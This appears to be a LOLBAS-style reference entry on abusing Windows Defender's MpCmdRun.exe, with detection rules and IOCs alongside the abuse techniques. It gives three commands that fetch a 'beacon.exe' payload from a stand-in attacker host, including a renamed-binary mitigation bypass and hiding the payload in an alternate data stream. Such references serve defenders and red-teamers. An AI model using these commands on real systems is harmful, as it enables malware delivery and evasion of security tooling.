

Download Alternate data streams

Binary part of Windows Defender. Used to manage settings in Windows Defender

Paths:

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exe C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.7-0\MpCmdRun.exe C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe

Resources:

- https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/command-line-arguments-microsoft-defender-antivirus
- https://twitter.com/mohammadaskar2/status/1301263551638761477
- https://twitter.com/Oddvarmoe/status/1301444858910052352
- https://twitter.com/NotMedic/status/1301506813242867720

Acknowledgements:

- Askar (<u>@mohammadaskar2</u>)
- Oddvar Moe (<u>@oddvarmoe</u>)
- RichRumble
- Cedric (<u>@th3c3dr1c</u>)

Detections:

- Sigma: win susp mpcmdrun download.yml
- Elastic: command and control remote file copy mpcmdrun.toml
- IOC: MpCmdRun storing data into alternate data streams.
- IOC: MpCmdRun retrieving a file from a remote machine or the internet that is not expected.
- IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe.
- IOC: Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log
- IOC: User Agent is "MpCommunication"

Download

1. Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path)

MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\beacon.exe

Use case: Download file **Privileges required:** User

Operating systems: Windows 10

ATT&CK® technique: T1105: Ingress Tool Transfer

2. Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path) [updated version to bypass Windows 10 mitigation]

copy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe"
C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\"
&& "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url https://attacker.server/beacon.exe -path
C:\Users\Public\Downloads\evil.exe

Use case: Download file Privileges required: User Operating systems: Windows 10

ATT&CK® technique: T1105: Ingress Tool Transfer

Alternate data streams

Download file to machine and store it in Alternate Data Stream

MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\temp\nicefile.txt:evil.exe

Use case: Hide downloaded data inton an Alternate Data Stream

Privileges required: User

Operating systems: Windows 10

ATT&CK® technique: T1564.004: NTFS File Attributes

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